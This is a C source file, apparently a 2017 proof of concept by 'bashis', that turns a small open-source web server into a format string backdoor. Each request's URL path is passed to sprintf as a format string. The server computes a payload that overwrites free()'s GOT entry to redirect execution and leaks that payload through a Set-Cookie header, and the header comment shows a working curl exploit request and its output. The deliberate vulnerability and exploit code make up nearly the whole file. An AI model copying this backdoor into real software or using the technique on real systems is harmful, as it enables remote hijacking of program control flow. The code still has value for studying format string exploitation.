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tiny-w3-mcw.c
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tiny-w3-mcw.c
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/*
This code is modified to make a simple Web Server with non-crashing Format String Backdoor Proof of Concept
Author: bashis <mcw noemail eu> 2017
Compile with
x32: cc -m32 -Wall -o tiny-w3-mcw tiny-w3-mcw.c
x64: c -Wall -o tiny-w3-mcw tiny-w3-mcw.c
=====================[Server Side]======================
$ ./tiny-w3-mcw
listen on port 9999, fd is 3
Code: x86
free() offset: 0x0000b2a4, addr: 0x08048710, got.plt = 0x0804b2a4
target() ADDR 0x08048bab, MSB 0x0804, LSB 0x8bab
Saving original got.plt JMP address: 0x08048716
00: %0$p
01: 0x1
02: 0xffeed488
03: 0xffeeb47c <- 1st write 'Where' found!
04: 0xffeeb484 <- 2nd write 'Where' found!
05: 0xfff07f5a
06: 0x8049c05 <- 1st write 'What' found!
07: 0xfff07ed1
08: 0x8049bf4 <- 2nd write 'What' found!
Calculated FMS code to use: %45731u%1c%hnXX%hn%55557u%hn%31833u%hn
1st Wrote where (0xffeeb47c) -> [0x8049c05]
2nd Wrote where (0xffeeb484) -> [0x8049bf4]
accept request, fd is 4, pid is 22528
Code: x86
free() offset: 0x0000b2a4, addr: 0x08048710, got.plt = 0x0804b2a4
target() ADDR 0x08048bab, MSB 0x0804, LSB 0x8bab
1st Wrote where (0xffee81fc) -> [0x804b2a4]
2nd Wrote where (0xffee8204) -> [0x804b2a6]
Successfully jumped!
Modified got.plt is = 0x08048bab (Our target ADDR)
Restoring got.plt to 0x08048716
=====================[Client Side]======================
['Set-Cookie: SessionID=45731-55557-4-31833' is server calculated generated FSM code, that could be used to remotely generate correct FMS string]
$ curl -v '127.0.0.1:9999/%45731u%1c%hnXX%hn%55557u%hn%31833u%hn'
[truncated]
4291825361
Successfully jumped!
HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
Cache-Control: no-cache
Set-Cookie: SessionID=45731-55557-4-31833
<html><head><title>Format String Backdoor PoC</title></head><body><br>Format String Backdoor <a href="/">PoC</a><br>//bashis</br></body></html>
* Connection #0 to host 127.0.0.1 left intact
$
==========================================================
Shamelessy borrowed the source code of the Web-Server from
Feng Shen
https://github.com/shenfeng/tiny-web-server
The code is free to use under the terms of the MIT license
==========================================================
*/
#include <arpa/inet.h> /* inet_ntoa */
#include <signal.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define LISTENQ 1024 /* second argument to listen() */
#define MAXLINE 1024 /* max length of a line */
#define RIO_BUFSIZE 1024
// MCW
#define BUFSIZE 8192
#define VERBOSE 1
#define GOT_COUNT 1
long unsigned int OLD_GOT = 0; // Saved old GOT address for later restore
int connfd; // connection socket
#ifdef __x86_64__
int64_t got_plt = 0;
#else
int got_plt = 0;
#endif
typedef struct {
int rio_fd; /* descriptor for this buf */
int rio_cnt; /* unread byte in this buf */
char *rio_bufptr; /* next unread byte in this buf */
char rio_buf[RIO_BUFSIZE]; /* internal buffer */
} rio_t;
/* Simplifies calls to bind(), connect(), and accept() */
typedef struct sockaddr SA;
typedef struct {
char filename[512];
off_t offset; /* for support Range */
size_t end;
} http_request;
void rio_readinitb(rio_t *rp, int fd){
rp->rio_fd = fd;
rp->rio_cnt = 0;
rp->rio_bufptr = rp->rio_buf;
}
ssize_t writen(int fd, void *usrbuf, size_t n){
size_t nleft = n;
ssize_t nwritten;
char *bufp = usrbuf;
while (nleft > 0){
if ((nwritten = write(fd, bufp, nleft)) <= 0){
if (errno == EINTR) /* interrupted by sig handler return */
nwritten = 0; /* and call write() again */
else
return -1; /* errorno set by write() */
}
nleft -= nwritten;
bufp += nwritten;
}
return n;
}
/*
* rio_read - This is a wrapper for the Unix read() function that
* transfers min(n, rio_cnt) bytes from an internal buffer to a user
* buffer, where n is the number of bytes requested by the user and
* rio_cnt is the number of unread bytes in the internal buffer. On
* entry, rio_read() refills the internal buffer via a call to
* read() if the internal buffer is empty.
*/
/* $begin rio_read */
static ssize_t rio_read(rio_t *rp, char *usrbuf, size_t n){
int cnt;
while (rp->rio_cnt <= 0){ /* refill if buf is empty */
rp->rio_cnt = read(rp->rio_fd, rp->rio_buf,
sizeof(rp->rio_buf));
if (rp->rio_cnt < 0){
if (errno != EINTR) /* interrupted by sig handler return */
return -1;
}
else if (rp->rio_cnt == 0) /* EOF */
return 0;
else
rp->rio_bufptr = rp->rio_buf; /* reset buffer ptr */
}
/* Copy min(n, rp->rio_cnt) bytes from internal buf to user buf */
cnt = n;
if (rp->rio_cnt < n)
cnt = rp->rio_cnt;
memcpy(usrbuf, rp->rio_bufptr, cnt);
rp->rio_bufptr += cnt;
rp->rio_cnt -= cnt;
return cnt;
}
/*
* rio_readlineb - robustly read a text line (buffered)
*/
ssize_t rio_readlineb(rio_t *rp, void *usrbuf, size_t maxlen){
int n, rc;
char c, *bufp = usrbuf;
for (n = 1; n < maxlen; n++){
if ((rc = rio_read(rp, &c, 1)) == 1){
*bufp++ = c;
if (c == '\n')
break;
} else if (rc == 0){
if (n == 1)
return 0; /* EOF, no data read */
else
break; /* EOF, some data was read */
} else
return -1; /* error */
}
*bufp = 0;
return n;
}
void target() {
char **restore = (void *)got_plt;
char buf[BUFSIZE];
sprintf(buf,"\n\nSuccessfully jumped!\n\n");
writen(connfd, buf, strlen(buf));
printf("Successfully jumped!\n\n");
printf("Modified got.plt is = 0x%08lx (Our target ADDR)\n",(long unsigned int)restore[0]);
printf("Restoring got.plt to 0x%08lx\n\n",(long unsigned int)OLD_GOT);
restore[0] = (void *)OLD_GOT;
}
#if GOT_COUNT
/**
* hex2int
* take a hex string and convert it to a 32bit number (max 8 hex digits)
*
* found this code on some site // bashis
*/
#ifdef __x86_64__
int64_t hex2int(char *hex) {
int64_t val = 0;
#else
uint hex2int(char *hex) {
uint val = 0;
#endif
while (*hex) {
// get current character then increment
char byte = *hex++;
// transform hex character to the 4bit equivalent number, using the ascii table indexes
if (byte >= '0' && byte <= '9') byte = byte - '0';
else if (byte >= 'a' && byte <='f') byte = byte - 'a' + 10;
// shift 4 to make space for new digit, and add the 4 bits of the new digit
val = (val << 4) | (byte & 0xF);
}
return val;
}
#endif
int junk()
{
// Here as easy gdb breakpoint before free()
return(0);
}
int first_fms_where, first_fms_what;
int second_fms_where, second_fms_what;
int misc_function(char *string_buf) {
int i;
char first_buf_where[BUFSIZE];
char first_buf_what[BUFSIZE];
int first_where = 0, first_what = 0;
int f1_where = 0, f1_what = 0, f2_where = 0, f2_what = 0;
char second_buf_where[BUFSIZE];
char second_buf_what[BUFSIZE];
int second_where = 0, second_what = 0;
char offset[BUFSIZE];
char addr[BUFSIZE];
char buf[BUFSIZE];
long unsigned int slask;
char *format_string;
#if GOT_COUNT
char tmp[BUFSIZE];
char MSB[BUFSIZE];
char LSB[BUFSIZE];
char GOT[BUFSIZE];
char target_ADDR[BUFSIZE];
char target_LSB[BUFSIZE];
char target_MSB[BUFSIZE];
#define FUNCTION free // Our jump function - free()
#define TARGET target // Our target name - target()
#ifdef __x86_64__
#if VERBOSE
printf("Code: x64\n\n");
#endif
char **tmp2 = (void *)&FUNCTION;
snprintf(tmp,19,"%p",(void *)tmp2[0]);
snprintf(tmp,19,"%016llx",(long long unsigned int)hex2int(strchr(tmp,'x')+1));
snprintf(offset,9,"%s",tmp + 4); // Extract the offset to got.plt FUNCTION
snprintf(offset,19,"%016llx",(long long unsigned int)hex2int(offset));
// Get the address for the desired FUNCTION
snprintf(tmp,19,"%p",(void *)&FUNCTION);
snprintf(addr,19,"%016llx",(long long unsigned int)hex2int(strchr(tmp,'x')+1));
// Calculate the got.plt for FUNCTION
got_plt = ((hex2int(offset) + hex2int(addr)) + 6);
snprintf(tmp,19,"%016llx",(long long unsigned int)got_plt);
// NOTE: Actually not real MSB / LSB for x64; More like MSB / LSB in x86
// However, this is what's interesting for us
snprintf(MSB,5,"%s",tmp+8);
snprintf(LSB,5,"%s",tmp+12);
#if VERBOSE
printf("free() offset: 0x%s, addr: 0x%s, got.plt = 0x%016llx\n", offset, addr, (long long unsigned int)got_plt);
#endif
snprintf(tmp,19,"%p",(void *)&TARGET);
snprintf(addr,19,"%016llx",(long long unsigned int)hex2int(strchr(tmp,'x')+1));
snprintf(target_ADDR,19,"%s",addr);
snprintf(target_MSB,5,"%s",addr+8);
snprintf(target_LSB,5,"%s",addr+12);
#if VERBOSE
printf("target() ADDR 0x%s, MSB 0x%s, LSB 0x%s\n",target_ADDR,target_MSB,target_LSB);
#endif
#else // __x86_64__
#if VERBOSE
printf("Code: x86\n\n");
#endif
// We are actually reading the ASM code here
char **tmp2 = (void *)&FUNCTION;
snprintf(tmp,19,"%p",(void *)tmp2[0]);
snprintf(tmp,19,"%08lx",(long unsigned int)hex2int(strchr(tmp,'x')+1));
snprintf(offset,5,"%s",tmp); // Extract the offset to got.plt FUNCTION
snprintf(offset,19,"%08lx",(long unsigned int)hex2int(offset));
snprintf(LSB,5,"%s",offset+4);
// Get the address for the desired FUNCTION
snprintf(tmp,19,"%p",(void *)&FUNCTION);
snprintf(addr,19,"%08lx",(long unsigned int)hex2int(strchr(tmp,'x')+1));
snprintf(MSB,5,"%s",addr);
snprintf(tmp,5,"%s",addr+4);
sprintf(tmp,"%08lx",(long unsigned int)( hex2int(addr) - hex2int(tmp) ));
got_plt = ( hex2int(offset) + hex2int(tmp) );
#if VERBOSE
printf("free() offset: 0x%s, addr: 0x%s, got.plt = 0x%08lx\n",offset, addr, (long unsigned int)got_plt);
#endif
snprintf(tmp,19,"%p",(void *)&TARGET);
snprintf(addr,19,"%08lx",(long unsigned int)hex2int(strchr(tmp,'x')+1));
snprintf(target_ADDR,19,"%s",addr);
snprintf(target_MSB,5,"%s",addr);
snprintf(target_LSB,5,"%s",addr+4);
#if VERBOSE
printf("target() ADDR 0x%s, MSB 0x%s, LSB 0x%s\n",target_ADDR,target_MSB,target_LSB);
#endif
#endif // __x86_64__
sprintf(GOT,"%x",(unsigned int)got_plt);
if(OLD_GOT == 0){
char **slask = (void *)got_plt;
OLD_GOT = (long unsigned int)slask[0];
#if VERBOSE
printf("\nSaving original got.plt JMP address: 0x%08lx\n\n",(long unsigned int)OLD_GOT);
#endif
}
#endif // GOT_COUNT
const char *second = "Second Text";
// Create one possibility to 'pop'
char* path = getenv("PATH");
const char *first = "First Text";
char* home = getenv("HOME");
const char **second2 = &second;
const char **first2 = &first;
// Create enough space on heap for executing the FMS
// char *format_string;
#ifdef __x86_64__
format_string = malloc(7340032); // 7 MiB
#else
format_string = malloc(155648); // 155 KiB
#endif
// Use the first pointer-to-pointer setup for calculating FMS code
sprintf(first_buf_where,"%p",(void *)first2);
sprintf(first_buf_what,"%p",(void *)first);
// Use the second pointer-to-pointer setup for calculating FMS code
sprintf(second_buf_where,"%p",(void *)second2);
sprintf(second_buf_what,"%p",(void *)second);
if(strlen(string_buf) > 1){
sprintf(format_string,string_buf); // Format string vulnerable
writen(connfd, format_string, strlen(format_string));
}else{
for(i=0;i<200;i++){
sprintf(buf,"%%%d$p",i); // read the stack with direct argument
sprintf(format_string,buf);
#if VERBOSE
printf("%02d: ",i);
printf("%s",format_string);
#endif
if(strcmp(format_string,first_buf_where) == 0 && !first_where){
#if VERBOSE
printf("\t<- 1st write 'Where' found!\n");
#endif
first_where = i;
} else
if(strcmp(format_string,first_buf_what) == 0 && !first_what){
#if VERBOSE
printf("\t<- 1st write 'What' found!\n");
#endif
first_what = i;
} else
if(strcmp(format_string,second_buf_where) == 0 && !second_where){
#if VERBOSE
printf("\t<- 2nd write 'Where' found!\n");
#endif
second_where = i;
} else
if(strcmp(format_string,second_buf_what) == 0 && !second_what){
#if VERBOSE
printf("\t<- 2nd write 'What' found!\n");
#endif
second_what = i;
} else
#if VERBOSE
printf("\n");
#endif
if(first_where && first_what && second_where && second_what)
break;
} // end for
if(!first_where || !first_what || !second_where || !second_what){
#if VERBOSE
printf("Did not find our needed where's and what's on stack! exiting\n");
#endif
exit (1);
} else {
int ALREADY_WRITTEN;
#ifdef __x86_64__
first_fms_where = (hex2int(GOT) - first_where) + 2; // x64
#define COUNTER 0x620000
#else
first_fms_where = (hex2int(LSB) - first_where) + 2; // x86
#define COUNTER 0x20000
#endif
second_fms_where = (second_where);
// second_fms_where = (second_where - first_where);
ALREADY_WRITTEN = first_fms_where + second_fms_where;
first_fms_what = ( (hex2int(target_LSB) + 0x10000) - (hex2int(LSB)) - (first_what - first_where) + 1);
ALREADY_WRITTEN += first_fms_what;
second_fms_what = ( ((COUNTER - ALREADY_WRITTEN) + hex2int(target_MSB)) + 1);
printf("\nCalculated FMS code to use: ");
printf("%%%du",first_fms_where);
f1_where = first_fms_where;
for( i = 2 ; i < first_where ; i++){
printf("%%1c");
f1_where++;
}
// First where
#ifdef __x86_64__
printf("%%ln"); //x64
#else
printf("%%hn"); //x86
#endif
printf("XX");
f2_where += f1_where;
f2_where += 2;
// Second where
#ifdef __x86_64__
printf("%%ln"); //x64
#else
printf("%%hn"); //x86
#endif
// First what
printf("%%%du",first_fms_what);
f1_what += f2_where;
f1_what += first_fms_what;
for( i = 3 ; i < (first_what - first_where); i++){
printf("%%1c");
f1_what++;
}
#ifdef __x86_64__
printf("%%lln"); //x64
#else
printf("%%hn"); //x86
#endif
// Second what
printf("%%%du",second_fms_what);
f2_what += f1_what;
f2_what += second_fms_what;
for( i = 4 ; i < (second_what - second_where); i++){
printf("%%1c");
f2_what++;
}
printf("%%hn\n");
} // end if 'if(first_where == 0 || ....'
}
printf("\n");
#if VERBOSE
printf("1st Wrote where (%p) -> [%p]\n",(void *)first2,(void *)first);
printf("2nd Wrote where (%p) -> [%p]\n",(void *)second2,(void *)second);
#endif
#if VERBOSE
printf("\n");
#endif
// Not used for anything, only for grouping and creating POP spaces on stack
// Assigning and stuff to not have any warnings
slask = (long unsigned int)&first2;
slask = (long unsigned int)&second2;
slask = (long unsigned int)&home;
slask = (long unsigned int)&path;
slask++;
slask--;
junk(); // Useful for gdb break
free(format_string); // This call is our target for jumping where we want.
return 0;
}
int open_listenfd(int port){
int listenfd, optval=1;
struct sockaddr_in serveraddr;
/* Create a socket descriptor */
if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;
/* Eliminates "Address already in use" error from bind. */
if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR,
(const void *)&optval , sizeof(int)) < 0)
return -1;
// 6 is TCP's protocol number
// enable this, much faster : 4000 req/s -> 17000 req/s
if (setsockopt(listenfd, 6, TCP_CORK,
(const void *)&optval , sizeof(int)) < 0)
return -1;
/* Listenfd will be an endpoint for all requests to port
on any IP address for this host */
memset(&serveraddr, 0, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
serveraddr.sin_port = htons((unsigned short)port);
if (bind(listenfd, (SA *)&serveraddr, sizeof(serveraddr)) < 0)
return -1;
/* Make it a listening socket ready to accept connection requests */
if (listen(listenfd, LISTENQ) < 0)
return -1;
return listenfd;
}
void url_decode(char* src, char* dest, int max) {
char *p = src;
char code[3] = { 0 };
while(*p && --max) {
if(*p == '%') {
memcpy(code, ++p, 2);
*dest++ = (char)strtoul(code, NULL, 16);
p += 2;
} else {
*dest++ = *p++;
}
}
*dest = '\0';
}
void parse_request(int fd, http_request *req){
rio_t rio;
char buf[MAXLINE], method[MAXLINE], uri[MAXLINE];
req->offset = 0;
req->end = 0; /* default */
rio_readinitb(&rio, fd);
rio_readlineb(&rio, buf, MAXLINE);
sscanf(buf, "%s %s", method, uri); /* version is not cared */
/* read all */
while(buf[0] != '\n' && buf[1] != '\n') { /* \n || \r\n */
rio_readlineb(&rio, buf, MAXLINE);
}
char* filename = uri;
if(uri[0] == '/'){
filename = uri + 1;
// Call our FMS function
misc_function(filename);
}
url_decode(filename, req->filename, MAXLINE);
}
void process(int fd, struct sockaddr_in *clientaddr){
printf("accept request, fd is %d, pid is %d\n", fd, getpid());
http_request req;
parse_request(fd, &req);
char buf[BUFSIZE];
bzero(buf, BUFSIZE);
sprintf(buf, "HTTP/1.1 200 OK\r\n%s%s%s",
"Content-Type: text/html\r\n",
"Connection: close\r\n",
"Cache-Control: no-cache\r\n");
sprintf(buf + strlen(buf),"Set-Cookie: SessionID=%d-%d-%d-%d\r\n\r\n",first_fms_where,first_fms_what,second_fms_where,second_fms_what);
sprintf(buf + strlen(buf), "<html><head><title>Format String Backdoor PoC</title></head><body><br>Format String Backdoor PoC<br><br>Have a nice day<br>/bashis</br></body></html>\r\n");
writen(fd, buf, strlen(buf));
close(fd);
}
int main(int argc, char** argv){
struct sockaddr_in clientaddr;
int default_port = 9999,
listenfd;
socklen_t clientlen = sizeof clientaddr;
listenfd = open_listenfd(default_port);
if (listenfd > 0) {
printf("listen on port %d, fd is %d\n", default_port, listenfd);
} else {
perror("ERROR");
exit(listenfd);
}
// Ignore SIGPIPE signal, so if browser cancels the request, it
// won't kill the whole process.
signal(SIGPIPE, SIG_IGN);
// Call our FMS function
misc_function("");
while(1){
connfd = accept(listenfd, (SA *)&clientaddr, &clientlen);
process(connfd, &clientaddr);
close(connfd);
}
return 0;
}